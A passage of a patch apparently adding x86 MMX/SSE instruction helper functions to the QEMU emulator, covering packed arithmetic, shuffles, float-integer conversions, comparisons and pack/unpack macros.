SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + d->Q(0) = (uint64_t)s->L(0) * (uint64_t)d->L(0); +#if SHIFT == 1 + d->Q(1) = (uint64_t)s->L(2) * (uint64_t)d->L(2); +#endif +} + +void glue(helper_pmaddwd, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int i; + + for (i = 0; i < (2 << SHIFT); i++) { + d->L(i) = (int16_t)s->W(2 * i) * (int16_t)d->W(2 * i) + + (int16_t)s->W(2 * i + 1) * (int16_t)d->W(2 * i + 1); + } +} + +#if SHIFT == 0 +static inline int abs1(int a) +{ + if (a < 0 && a != 0x80000000) { + return -a; + } else { + return a; + } +} +#endif +void glue(helper_psadbw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + unsigned int val; + + val = 0; + val += abs1(d->B(0) - s->B(0)); + val += abs1(d->B(1) - s->B(1)); + val += abs1(d->B(2) - s->B(2)); + val += abs1(d->B(3) - s->B(3)); + val += abs1(d->B(4) - s->B(4)); + val += abs1(d->B(5) - s->B(5)); + val += abs1(d->B(6) - s->B(6)); + val += abs1(d->B(7) - s->B(7)); + d->Q(0) = val; +#if SHIFT == 1 + val = 0; + val += abs1(d->B(8) - s->B(8)); + val += abs1(d->B(9) - s->B(9)); + val += abs1(d->B(10) - s->B(10)); + val += abs1(d->B(11) - s->B(11)); + val += abs1(d->B(12) - s->B(12)); + val += abs1(d->B(13) - s->B(13)); + val += abs1(d->B(14) - s->B(14)); + val += abs1(d->B(15) - s->B(15)); + d->Q(1) = val; +#endif +} + +void glue(helper_maskmov, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, + target_ulong a0) +{ + int i; + + for (i = 0; i < (8 << SHIFT); i++) { + if (s->B(i) & 0x80) { + cpu_stb_data(env, a0 + i, d->B(i)); + } + } +} + +void glue(helper_movl_mm_T0, SUFFIX)(Reg *d, uint32_t val) +{ + d->L(0) = val; + d->L(1) = 0; +#if SHIFT == 1 + d->Q(1) = 0; +#endif +} + +#ifdef TARGET_X86_64 +void glue(helper_movq_mm_T0, SUFFIX)(Reg *d, uint64_t val) +{ + d->Q(0) = val; +#if SHIFT == 1 + d->Q(1) = 0; +#endif +} +#endif + +#if SHIFT == 0 +void glue(helper_pshufw, SUFFIX)(Reg *d, Reg *s, int order) +{ + Reg r; + + r.W(0) = s->W(order & 3); + r.W(1) = s->W((order >> 2) & 3); + r.W(2) = s->W((order >> 4) & 3); + r.W(3) = s->W((order >> 6) & 3); + *d = r; +} +#else +void helper_shufps(Reg *d, Reg *s, int order) +{ + Reg r; + + r.L(0) = d->L(order & 3); + r.L(1) = d->L((order >> 2) & 3); + r.L(2) = s->L((order >> 4) & 3); + r.L(3) = s->L((order >> 6) & 3); + *d = r; +} + +void helper_shufpd(Reg *d, Reg *s, int order) +{ + Reg r; + + r.Q(0) = d->Q(order & 1); + r.Q(1) = s->Q((order >> 1) & 1); + *d = r; +} + +void glue(helper_pshufd, SUFFIX)(Reg *d, Reg *s, int order) +{ + Reg r; + + r.L(0) = s->L(order & 3); + r.L(1) = s->L((order >> 2) & 3); + r.L(2) = s->L((order >> 4) & 3); + r.L(3) = s->L((order >> 6) & 3); + *d = r; +} + +void glue(helper_pshuflw, SUFFIX)(Reg *d, Reg *s, int order) +{ + Reg r; + + r.W(0) = s->W(order & 3); + r.W(1) = s->W((order >> 2) & 3); + r.W(2) = s->W((order >> 4) & 3); + r.W(3) = s->W((order >> 6) & 3); + r.Q(1) = s->Q(1); + *d = r; +} + +void glue(helper_pshufhw, SUFFIX)(Reg *d, Reg *s, int order) +{ + Reg r; + + r.Q(0) = s->Q(0); + r.W(4) = s->W(4 + (order & 3)); + r.W(5) = s->W(4 + ((order >> 2) & 3)); + r.W(6) = s->W(4 + ((order >> 4) & 3)); + r.W(7) = s->W(4 + ((order >> 6) & 3)); + *d = r; +} +#endif + +#if SHIFT == 1 +/* FPU ops */ +/* XXX: not accurate */ + +#define SSE_HELPER_S(name, F) \ + void helper_ ## name ## ps(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->XMM_S(0) = F(32, d->XMM_S(0), s->XMM_S(0)); \ + d->XMM_S(1) = F(32, d->XMM_S(1), s->XMM_S(1)); \ + d->XMM_S(2) = F(32, d->XMM_S(2), s->XMM_S(2)); \ + d->XMM_S(3) = F(32, d->XMM_S(3), s->XMM_S(3)); \ + } \ + \ + void helper_ ## name ## ss(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->XMM_S(0) = F(32, d->XMM_S(0), s->XMM_S(0)); \ + } \ + \ + void helper_ ## name ## pd(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->XMM_D(0) = F(64, d->XMM_D(0), s->XMM_D(0)); \ + d->XMM_D(1) = F(64, d->XMM_D(1), s->XMM_D(1)); \ + } \ + \ + void helper_ ## name ## sd(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->XMM_D(0) = F(64, d->XMM_D(0), s->XMM_D(0)); \ + } + +#define FPU_ADD(size, a, b) float ## size ## _add(a, b, &env->sse_status) +#define FPU_SUB(size, a, b) float ## size ## _sub(a, b, &env->sse_status) +#define FPU_MUL(size, a, b) float ## size ## _mul(a, b, &env->sse_status) +#define FPU_DIV(size, a, b) float ## size ## _div(a, b, &env->sse_status) +#define FPU_SQRT(size, a, b) float ## size ## _sqrt(b, &env->sse_status) + +/* Note that the choice of comparison op here is important to get the + * special cases right: for min and max Intel specifies that (-0,0), + * (NaN, anything) and (anything, NaN) return the second argument. + */ +#define FPU_MIN(size, a, b) \ + (float ## size ## _lt(a, b, &env->sse_status) ? (a) : (b)) +#define FPU_MAX(size, a, b) \ + (float ## size ## _lt(b, a, &env->sse_status) ? (a) : (b)) + +SSE_HELPER_S(add, FPU_ADD) +SSE_HELPER_S(sub, FPU_SUB) +SSE_HELPER_S(mul, FPU_MUL) +SSE_HELPER_S(div, FPU_DIV) +SSE_HELPER_S(min, FPU_MIN) +SSE_HELPER_S(max, FPU_MAX) +SSE_HELPER_S(sqrt, FPU_SQRT) + + +/* float to float conversions */ +void helper_cvtps2pd(CPUX86State *env, Reg *d, Reg *s) +{ + float32 s0, s1; + + s0 = s->XMM_S(0); + s1 = s->XMM_S(1); + d->XMM_D(0) = float32_to_float64(s0, &env->sse_status); + d->XMM_D(1) = float32_to_float64(s1, &env->sse_status); +} + +void helper_cvtpd2ps(CPUX86State *env, Reg *d, Reg *s) +{ + d->XMM_S(0) = float64_to_float32(s->XMM_D(0), &env->sse_status); + d->XMM_S(1) = float64_to_float32(s->XMM_D(1), &env->sse_status); + d->Q(1) = 0; +} + +void helper_cvtss2sd(CPUX86State *env, Reg *d, Reg *s) +{ + d->XMM_D(0) = float32_to_float64(s->XMM_S(0), &env->sse_status); +} + +void helper_cvtsd2ss(CPUX86State *env, Reg *d, Reg *s) +{ + d->XMM_S(0) = float64_to_float32(s->XMM_D(0), &env->sse_status); +} + +/* integer to float */ +void helper_cvtdq2ps(CPUX86State *env, Reg *d, Reg *s) +{ + d->XMM_S(0) = int32_to_float32(s->XMM_L(0), &env->sse_status); + d->XMM_S(1) = int32_to_float32(s->XMM_L(1), &env->sse_status); + d->XMM_S(2) = int32_to_float32(s->XMM_L(2), &env->sse_status); + d->XMM_S(3) = int32_to_float32(s->XMM_L(3), &env->sse_status); +} + +void helper_cvtdq2pd(CPUX86State *env, Reg *d, Reg *s) +{ + int32_t l0, l1; + + l0 = (int32_t)s->XMM_L(0); + l1 = (int32_t)s->XMM_L(1); + d->XMM_D(0) = int32_to_float64(l0, &env->sse_status); + d->XMM_D(1) = int32_to_float64(l1, &env->sse_status); +} + +void helper_cvtpi2ps(CPUX86State *env, XMMReg *d, MMXReg *s) +{ + d->XMM_S(0) = int32_to_float32(s->MMX_L(0), &env->sse_status); + d->XMM_S(1) = int32_to_float32(s->MMX_L(1), &env->sse_status); +} + +void helper_cvtpi2pd(CPUX86State *env, XMMReg *d, MMXReg *s) +{ + d->XMM_D(0) = int32_to_float64(s->MMX_L(0), &env->sse_status); + d->XMM_D(1) = int32_to_float64(s->MMX_L(1), &env->sse_status); +} + +void helper_cvtsi2ss(CPUX86State *env, XMMReg *d, uint32_t val) +{ + d->XMM_S(0) = int32_to_float32(val, &env->sse_status); +} + +void helper_cvtsi2sd(CPUX86State *env, XMMReg *d, uint32_t val) +{ + d->XMM_D(0) = int32_to_float64(val, &env->sse_status); +} + +#ifdef TARGET_X86_64 +void helper_cvtsq2ss(CPUX86State *env, XMMReg *d, uint64_t val) +{ + d->XMM_S(0) = int64_to_float32(val, &env->sse_status); +} + +void helper_cvtsq2sd(CPUX86State *env, XMMReg *d, uint64_t val) +{ + d->XMM_D(0) = int64_to_float64(val, &env->sse_status); +} +#endif + +/* float to integer */ + +/* + * x86 mandates that we return the indefinite integer value for the result + * of any float-to-integer conversion that raises the 'invalid' exception. + * Wrap the softfloat functions to get this behaviour. + */ +#define WRAP_FLOATCONV(RETTYPE, FN, FLOATTYPE, INDEFVALUE) \ + static inline RETTYPE x86_##FN(FLOATTYPE a, float_status *s) \ + { \ + int oldflags, newflags; \ + RETTYPE r; \ + \ + oldflags = get_float_exception_flags(s); \ + set_float_exception_flags(0, s); \ + r = FN(a, s); \ + newflags = get_float_exception_flags(s); \ + if (newflags & float_flag_invalid) { \ + r = INDEFVALUE; \ + } \ + set_float_exception_flags(newflags | oldflags, s); \ + return r; \ + } + +WRAP_FLOATCONV(int32_t, float32_to_int32, float32, INT32_MIN) +WRAP_FLOATCONV(int32_t, float32_to_int32_round_to_zero, float32, INT32_MIN) +WRAP_FLOATCONV(int32_t, float64_to_int32, float64, INT32_MIN) +WRAP_FLOATCONV(int32_t, float64_to_int32_round_to_zero, float64, INT32_MIN) +WRAP_FLOATCONV(int64_t, float32_to_int64, float32, INT64_MIN) +WRAP_FLOATCONV(int64_t, float32_to_int64_round_to_zero, float32, INT64_MIN) +WRAP_FLOATCONV(int64_t, float64_to_int64, float64, INT64_MIN) +WRAP_FLOATCONV(int64_t, float64_to_int64_round_to_zero, float64, INT64_MIN) + +void helper_cvtps2dq(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + d->XMM_L(0) = x86_float32_to_int32(s->XMM_S(0), &env->sse_status); + d->XMM_L(1) = x86_float32_to_int32(s->XMM_S(1), &env->sse_status); + d->XMM_L(2) = x86_float32_to_int32(s->XMM_S(2), &env->sse_status); + d->XMM_L(3) = x86_float32_to_int32(s->XMM_S(3), &env->sse_status); +} + +void helper_cvtpd2dq(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + d->XMM_L(0) = x86_float64_to_int32(s->XMM_D(0), &env->sse_status); + d->XMM_L(1) = x86_float64_to_int32(s->XMM_D(1), &env->sse_status); + d->XMM_Q(1) = 0; +} + +void helper_cvtps2pi(CPUX86State *env, MMXReg *d, XMMReg *s) +{ + d->MMX_L(0) = x86_float32_to_int32(s->XMM_S(0), &env->sse_status); + d->MMX_L(1) = x86_float32_to_int32(s->XMM_S(1), &env->sse_status); +} + +void helper_cvtpd2pi(CPUX86State *env, MMXReg *d, XMMReg *s) +{ + d->MMX_L(0) = x86_float64_to_int32(s->XMM_D(0), &env->sse_status); + d->MMX_L(1) = x86_float64_to_int32(s->XMM_D(1), &env->sse_status); +} + +int32_t helper_cvtss2si(CPUX86State *env, XMMReg *s) +{ + return x86_float32_to_int32(s->XMM_S(0), &env->sse_status); +} + +int32_t helper_cvtsd2si(CPUX86State *env, XMMReg *s) +{ + return x86_float64_to_int32(s->XMM_D(0), &env->sse_status); +} + +#ifdef TARGET_X86_64 +int64_t helper_cvtss2sq(CPUX86State *env, XMMReg *s) +{ + return x86_float32_to_int64(s->XMM_S(0), &env->sse_status); +} + +int64_t helper_cvtsd2sq(CPUX86State *env, XMMReg *s) +{ + return x86_float64_to_int64(s->XMM_D(0), &env->sse_status); +} +#endif + +/* float to integer truncated */ +void helper_cvttps2dq(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + d->XMM_L(0) = x86_float32_to_int32_round_to_zero(s->XMM_S(0), &env->sse_status); + d->XMM_L(1) = x86_float32_to_int32_round_to_zero(s->XMM_S(1), &env->sse_status); + d->XMM_L(2) = x86_float32_to_int32_round_to_zero(s->XMM_S(2), &env->sse_status); + d->XMM_L(3) = x86_float32_to_int32_round_to_zero(s->XMM_S(3), &env->sse_status); +} + +void helper_cvttpd2dq(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + d->XMM_L(0) = x86_float64_to_int32_round_to_zero(s->XMM_D(0), &env->sse_status); + d->XMM_L(1) = x86_float64_to_int32_round_to_zero(s->XMM_D(1), &env->sse_status); + d->XMM_Q(1) = 0; +} + +void helper_cvttps2pi(CPUX86State *env, MMXReg *d, XMMReg *s) +{ + d->MMX_L(0) = x86_float32_to_int32_round_to_zero(s->XMM_S(0), &env->sse_status); + d->MMX_L(1) = x86_float32_to_int32_round_to_zero(s->XMM_S(1), &env->sse_status); +} + +void helper_cvttpd2pi(CPUX86State *env, MMXReg *d, XMMReg *s) +{ + d->MMX_L(0) = x86_float64_to_int32_round_to_zero(s->XMM_D(0), &env->sse_status); + d->MMX_L(1) = x86_float64_to_int32_round_to_zero(s->XMM_D(1), &env->sse_status); +} + +int32_t helper_cvttss2si(CPUX86State *env, XMMReg *s) +{ + return x86_float32_to_int32_round_to_zero(s->XMM_S(0), &env->sse_status); +} + +int32_t helper_cvttsd2si(CPUX86State *env, XMMReg *s) +{ + return x86_float64_to_int32_round_to_zero(s->XMM_D(0), &env->sse_status); +} + +#ifdef TARGET_X86_64 +int64_t helper_cvttss2sq(CPUX86State *env, XMMReg *s) +{ + return x86_float32_to_int64_round_to_zero(s->XMM_S(0), &env->sse_status); +} + +int64_t helper_cvttsd2sq(CPUX86State *env, XMMReg *s) +{ + return x86_float64_to_int64_round_to_zero(s->XMM_D(0), &env->sse_status); +} +#endif + +void helper_rsqrtps(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + d->XMM_S(0) = float32_div(float32_one, + float32_sqrt(s->XMM_S(0), &env->sse_status), + &env->sse_status); + d->XMM_S(1) = float32_div(float32_one, + float32_sqrt(s->XMM_S(1), &env->sse_status), + &env->sse_status); + d->XMM_S(2) = float32_div(float32_one, + float32_sqrt(s->XMM_S(2), &env->sse_status), + &env->sse_status); + d->XMM_S(3) = float32_div(float32_one, + float32_sqrt(s->XMM_S(3), &env->sse_status), + &env->sse_status); +} + +void helper_rsqrtss(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + d->XMM_S(0) = float32_div(float32_one, + float32_sqrt(s->XMM_S(0), &env->sse_status), + &env->sse_status); +} + +void helper_rcpps(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + d->XMM_S(0) = float32_div(float32_one, s->XMM_S(0), &env->sse_status); + d->XMM_S(1) = float32_div(float32_one, s->XMM_S(1), &env->sse_status); + d->XMM_S(2) = float32_div(float32_one, s->XMM_S(2), &env->sse_status); + d->XMM_S(3) = float32_div(float32_one, s->XMM_S(3), &env->sse_status); +} + +void helper_rcpss(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + d->XMM_S(0) = float32_div(float32_one, s->XMM_S(0), &env->sse_status); +} + +static inline uint64_t helper_extrq(uint64_t src, int shift, int len) +{ + uint64_t mask; + + if (len == 0) { + mask = ~0LL; + } else { + mask = (1ULL << (len & 0x3f)) - 1; + } + return (src >> (shift & 0x3f)) & mask; +} + +void helper_extrq_r(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + d->XMM_Q(0) = helper_extrq(d->XMM_Q(0), s->XMM_B(1), s->XMM_B(0)); +} + +void helper_extrq_i(CPUX86State *env, XMMReg *d, int index, int length) +{ + d->XMM_Q(0) = helper_extrq(d->XMM_Q(0), index, length); +} + +static inline uint64_t helper_insertq(uint64_t src, int shift, int len) +{ + uint64_t mask; + + if (len == 0) { + mask = ~0ULL; + } else { + mask = (1ULL << (len & 0x3f)) - 1; + } + return (src & ~(mask << (shift & 0x3f))) | ((src & mask) << (shift & 0x3f)); +} + +void helper_insertq_r(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + d->XMM_Q(0) = helper_insertq(s->XMM_Q(0), s->XMM_B(9), s->XMM_B(8)); +} + +void helper_insertq_i(CPUX86State *env, XMMReg *d, int index, int length) +{ + d->XMM_Q(0) = helper_insertq(d->XMM_Q(0), index, length); +} + +void helper_haddps(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + XMMReg r; + + r.XMM_S(0) = float32_add(d->XMM_S(0), d->XMM_S(1), &env->sse_status); + r.XMM_S(1) = float32_add(d->XMM_S(2), d->XMM_S(3), &env->sse_status); + r.XMM_S(2) = float32_add(s->XMM_S(0), s->XMM_S(1), &env->sse_status); + r.XMM_S(3) = float32_add(s->XMM_S(2), s->XMM_S(3), &env->sse_status); + *d = r; +} + +void helper_haddpd(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + XMMReg r; + + r.XMM_D(0) = float64_add(d->XMM_D(0), d->XMM_D(1), &env->sse_status); + r.XMM_D(1) = float64_add(s->XMM_D(0), s->XMM_D(1), &env->sse_status); + *d = r; +} + +void helper_hsubps(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + XMMReg r; + + r.XMM_S(0) = float32_sub(d->XMM_S(0), d->XMM_S(1), &env->sse_status); + r.XMM_S(1) = float32_sub(d->XMM_S(2), d->XMM_S(3), &env->sse_status); + r.XMM_S(2) = float32_sub(s->XMM_S(0), s->XMM_S(1), &env->sse_status); + r.XMM_S(3) = float32_sub(s->XMM_S(2), s->XMM_S(3), &env->sse_status); + *d = r; +} + +void helper_hsubpd(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + XMMReg r; + + r.XMM_D(0) = float64_sub(d->XMM_D(0), d->XMM_D(1), &env->sse_status); + r.XMM_D(1) = float64_sub(s->XMM_D(0), s->XMM_D(1), &env->sse_status); + *d = r; +} + +void helper_addsubps(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + d->XMM_S(0) = float32_sub(d->XMM_S(0), s->XMM_S(0), &env->sse_status); + d->XMM_S(1) = float32_add(d->XMM_S(1), s->XMM_S(1), &env->sse_status); + d->XMM_S(2) = float32_sub(d->XMM_S(2), s->XMM_S(2), &env->sse_status); + d->XMM_S(3) = float32_add(d->XMM_S(3), s->XMM_S(3), &env->sse_status); +} + +void helper_addsubpd(CPUX86State *env, XMMReg *d, XMMReg *s) +{ + d->XMM_D(0) = float64_sub(d->XMM_D(0), s->XMM_D(0), &env->sse_status); + d->XMM_D(1) = float64_add(d->XMM_D(1), s->XMM_D(1), &env->sse_status); +} + +/* XXX: unordered */ +#define SSE_HELPER_CMP(name, F) \ + void helper_ ## name ## ps(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->XMM_L(0) = F(32, d->XMM_S(0), s->XMM_S(0)); \ + d->XMM_L(1) = F(32, d->XMM_S(1), s->XMM_S(1)); \ + d->XMM_L(2) = F(32, d->XMM_S(2), s->XMM_S(2)); \ + d->XMM_L(3) = F(32, d->XMM_S(3), s->XMM_S(3)); \ + } \ + \ + void helper_ ## name ## ss(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->XMM_L(0) = F(32, d->XMM_S(0), s->XMM_S(0)); \ + } \ + \ + void helper_ ## name ## pd(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->XMM_Q(0) = F(64, d->XMM_D(0), s->XMM_D(0)); \ + d->XMM_Q(1) = F(64, d->XMM_D(1), s->XMM_D(1)); \ + } \ + \ + void helper_ ## name ## sd(CPUX86State *env, Reg *d, Reg *s) \ + { \ + d->XMM_Q(0) = F(64, d->XMM_D(0), s->XMM_D(0)); \ + } + +#define FPU_CMPEQ(size, a, b) \ + (float ## size ## _eq_quiet(a, b, &env->sse_status) ? -1 : 0) +#define FPU_CMPLT(size, a, b) \ + (float ## size ## _lt(a, b, &env->sse_status) ? -1 : 0) +#define FPU_CMPLE(size, a, b) \ + (float ## size ## _le(a, b, &env->sse_status) ? -1 : 0) +#define FPU_CMPUNORD(size, a, b) \ + (float ## size ## _unordered_quiet(a, b, &env->sse_status) ? -1 : 0) +#define FPU_CMPNEQ(size, a, b) \ + (float ## size ## _eq_quiet(a, b, &env->sse_status) ? 0 : -1) +#define FPU_CMPNLT(size, a, b) \ + (float ## size ## _lt(a, b, &env->sse_status) ? 0 : -1) +#define FPU_CMPNLE(size, a, b) \ + (float ## size ## _le(a, b, &env->sse_status) ? 0 : -1) +#define FPU_CMPORD(size, a, b) \ + (float ## size ## _unordered_quiet(a, b, &env->sse_status) ? 0 : -1) + +SSE_HELPER_CMP(cmpeq, FPU_CMPEQ) +SSE_HELPER_CMP(cmplt, FPU_CMPLT) +SSE_HELPER_CMP(cmple, FPU_CMPLE) +SSE_HELPER_CMP(cmpunord, FPU_CMPUNORD) +SSE_HELPER_CMP(cmpneq, FPU_CMPNEQ) +SSE_HELPER_CMP(cmpnlt, FPU_CMPNLT) +SSE_HELPER_CMP(cmpnle, FPU_CMPNLE) +SSE_HELPER_CMP(cmpord, FPU_CMPORD) + +static const int comis_eflags[4] = {CC_C, CC_Z, 0, CC_Z | CC_P | CC_C}; + +void helper_ucomiss(CPUX86State *env, Reg *d, Reg *s) +{ + int ret; + float32 s0, s1; + + s0 = d->XMM_S(0); + s1 = s->XMM_S(0); + ret = float32_compare_quiet(s0, s1, &env->sse_status); + CC_SRC = comis_eflags[ret + 1]; +} + +void helper_comiss(CPUX86State *env, Reg *d, Reg *s) +{ + int ret; + float32 s0, s1; + + s0 = d->XMM_S(0); + s1 = s->XMM_S(0); + ret = float32_compare(s0, s1, &env->sse_status); + CC_SRC = comis_eflags[ret + 1]; +} + +void helper_ucomisd(CPUX86State *env, Reg *d, Reg *s) +{ + int ret; + float64 d0, d1; + + d0 = d->XMM_D(0); + d1 = s->XMM_D(0); + ret = float64_compare_quiet(d0, d1, &env->sse_status); + CC_SRC = comis_eflags[ret + 1]; +} + +void helper_comisd(CPUX86State *env, Reg *d, Reg *s) +{ + int ret; + float64 d0, d1; + + d0 = d->XMM_D(0); + d1 = s->XMM_D(0); + ret = float64_compare(d0, d1, &env->sse_status); + CC_SRC = comis_eflags[ret + 1]; +} + +uint32_t helper_movmskps(CPUX86State *env, Reg *s) +{ + int b0, b1, b2, b3; + + b0 = s->XMM_L(0) >> 31; + b1 = s->XMM_L(1) >> 31; + b2 = s->XMM_L(2) >> 31; + b3 = s->XMM_L(3) >> 31; + return b0 | (b1 << 1) | (b2 << 2) | (b3 << 3); +} + +uint32_t helper_movmskpd(CPUX86State *env, Reg *s) +{ + int b0, b1; + + b0 = s->XMM_L(1) >> 31; + b1 = s->XMM_L(3) >> 31; + return b0 | (b1 << 1); +} + +#endif + +uint32_t glue(helper_pmovmskb, SUFFIX)(CPUX86State *env, Reg *s) +{ + uint32_t val; + + val = 0; + val |= (s->B(0) >> 7); + val |= (s->B(1) >> 6) & 0x02; + val |= (s->B(2) >> 5) & 0x04; + val |= (s->B(3) >> 4) & 0x08; + val |= (s->B(4) >> 3) & 0x10; + val |= (s->B(5) >> 2) & 0x20; + val |= (s->B(6) >> 1) & 0x40; + val |= (s->B(7)) & 0x80; +#if SHIFT == 1 + val |= (s->B(8) << 1) & 0x0100; + val |= (s->B(9) << 2) & 0x0200; + val |= (s->B(10) << 3) & 0x0400; + val |= (s->B(11) << 4) & 0x0800; + val |= (s->B(12) << 5) & 0x1000; + val |= (s->B(13) << 6) & 0x2000; + val |= (s->B(14) << 7) & 0x4000; + val |= (s->B(15) << 8) & 0x8000; +#endif + return val; +} + +void glue(helper_packsswb, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + Reg r; + + r.B(0) = satsb((int16_t)d->W(0)); + r.B(1) = satsb((int16_t)d->W(1)); + r.B(2) = satsb((int16_t)d->W(2)); + r.B(3) = satsb((int16_t)d->W(3)); +#if SHIFT == 1 + r.B(4) = satsb((int16_t)d->W(4)); + r.B(5) = satsb((int16_t)d->W(5)); + r.B(6) = satsb((int16_t)d->W(6)); + r.B(7) = satsb((int16_t)d->W(7)); +#endif + r.B((4 << SHIFT) + 0) = satsb((int16_t)s->W(0)); + r.B((4 << SHIFT) + 1) = satsb((int16_t)s->W(1)); + r.B((4 << SHIFT) + 2) = satsb((int16_t)s->W(2)); + r.B((4 << SHIFT) + 3) = satsb((int16_t)s->W(3)); +#if SHIFT == 1 + r.B(12) = satsb((int16_t)s->W(4)); + r.B(13) = satsb((int16_t)s->W(5)); + r.B(14) = satsb((int16_t)s->W(6)); + r.B(15) = satsb((int16_t)s->W(7)); +#endif + *d = r; +} + +void glue(helper_packuswb, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + Reg r; + + r.B(0) = satub((int16_t)d->W(0)); + r.B(1) = satub((int16_t)d->W(1)); + r.B(2) = satub((int16_t)d->W(2)); + r.B(3) = satub((int16_t)d->W(3)); +#if SHIFT == 1 + r.B(4) = satub((int16_t)d->W(4)); + r.B(5) = satub((int16_t)d->W(5)); + r.B(6) = satub((int16_t)d->W(6)); + r.B(7) = satub((int16_t)d->W(7)); +#endif + r.B((4 << SHIFT) + 0) = satub((int16_t)s->W(0)); + r.B((4 << SHIFT) + 1) = satub((int16_t)s->W(1)); + r.B((4 << SHIFT) + 2) = satub((int16_t)s->W(2)); + r.B((4 << SHIFT) + 3) = satub((int16_t)s->W(3)); +#if SHIFT == 1 + r.B(12) = satub((int16_t)s->W(4)); + r.B(13) = satub((int16_t)s->W(5)); + r.B(14) = satub((int16_t)s->W(6)); + r.B(15) = satub((int16_t)s->W(7)); +#endif + *d = r; +} + +void glue(helper_packssdw, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + Reg r; + + r.W(0) = satsw(d->L(0)); + r.W(1) = satsw(d->L(1)); +#if SHIFT == 1 + r.W(2) = satsw(d->L(2)); + r.W(3) = satsw(d->L(3)); +#endif + r.W((2 << SHIFT) + 0) = satsw(s->L(0)); + r.W((2 << SHIFT) + 1) = satsw(s->L(1)); +#if SHIFT == 1 + r.W(6) = satsw(s->L(2)); + r.W(7) = satsw(s->L(3)); +#endif + *d = r; +} + +#define UNPCK_OP(base_name, base) \ + \ + void glue(helper_punpck ## base_name ## bw, SUFFIX)(CPUX86State *env,\ + Reg *d, Reg *s) \ + { \ + Reg r; \ + \ + r.B(0) = d->B((base << (SHIFT + 2)) + 0); \ + r.B(1) = s->B((base << (SHIFT + 2)) + 0); \ + r.B(2) = d->B((base << (SHIFT + 2)) + 1); \ + r.B(3) = s->B((base << (SHIFT + 2)) + 1); \ + r.B(4) = d->B((base << (SHIFT + 2)) + 2); \ + r.B(5) = s->B((base << (SHIFT + 2)) + 2); \ + r.B(6) = d->B((base << (SHIFT + 2)) + 3); \ + r.B(7) = s->B((base << (SHIFT + 2)) + 3); \ + XMM_ONLY( \ + r.B(8) = d->B((base << (SHIFT + 2)) + 4); \ + r.B(9) = s->B((base << (SHIFT + 2)) + 4); \ + r.B(10) = d->B((base << (SHIFT + 2)) + 5); \ + r.B(11) = s->B((base << (SHIFT + 2)) + 5); \ + r.B(12) = d->B((base << (SHIFT + 2)) + 6); \ + r.B(13) = s->B((base << (SHIFT + 2)) + 6); \ + r.B(14) = d->B((base << (SHIFT + 2)) + 7); \ + r.B(15) = s->B((base << (SHIFT + 2)) + 7); \ + ) \ + *d = r; \ + } \ + \ + void glue(helper_punpck ## base_name ## wd, SUFFIX)(CPUX86State *env,\ + Reg *d, Reg *s) \ + { \ + Reg r; \ + \ + r.W(0) = d->W((base << (SHIFT + 1)) + 0); \ + r.W(1) = s->W((base << (SHIFT + 1)) + 0); \ + r.W(2) = d->W((base << (SHIFT + 1)) + 1); \ + r.W(3) = s->W((base << (SHIFT + 1)) + 1); \ + XMM_ONLY( \ + r.W(4) = d->W((base << (SHIFT + 1)) + 2); \ + r.W(5) = s->W((base << (SHIFT + 1)) + 2); \ + r.W(6) = d->W((base << (SHIFT + 1)) + 3); \ + r.W(7) = s->W((base << (SHIFT + 1)) + 3); \ + ) \ + *d = r; \ + } \ + \ + void glue(helper_punpck ## base_name ## dq, SUFFIX)(CPUX86State *env,\ + Reg *d, Reg *s) \ + { \ + Reg r; \ + \ + r.L(0) = d->L((base << SHIFT) + 0); \ + r.L(1) = s->L((base << SHIFT) + 0); \ + XMM_ONLY( \ + r.L(2) = d->L((base << SHIFT) + 1); \ + r.L(3) = s->L((base << SHIFT) + 1); \ + ) \ + *d = r; \ + } \ + \ + XMM_ONLY( \ + void glue(helper_punpck ## base_name ## qdq, SUFFIX)(CPUX86State \ + *env, \ + Reg *d, \ + Reg *s) \ + { \ + Reg r; \ + \ + r.Q(0) = d->Q(base); \ + r.Q(1) = s->Q(base); \ + *d = r; \ + } \ + ) + +UNPCK_OP(l, 0) +UNPCK_OP(h, 1) + +/* 3DNow! float ops */ +#if SHIFT == 0 +void helper_pi2fd(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_S(0) = int32_to_float32(s->MMX_L(0), &env->mmx_status); + d->MMX_S(1) = int32_to_float32(s->MMX_L(1), &env->mmx_status); +} + +void helper_pi2fw(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_S(0) = int32_to_float32((int16_t)s->MMX_W(0), &env->mmx_status); + d->MMX_S(1) = int32_to_float32((int16_t)s->MMX_W(2), &env->mmx_status); +} + +void helper_pf2id(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_L(0) = float32_to_int32_round_to_zero(s->MMX_S(0), &env->mmx_status); + d->MMX_L(1) = float32_to_int32_round_to_zero(s->MMX_S(1), &env->mmx_status); +} + +void helper_pf2iw(CPUX86State *env, MMXReg *d, MMXReg *s) +{ + d->MMX_L(0) = 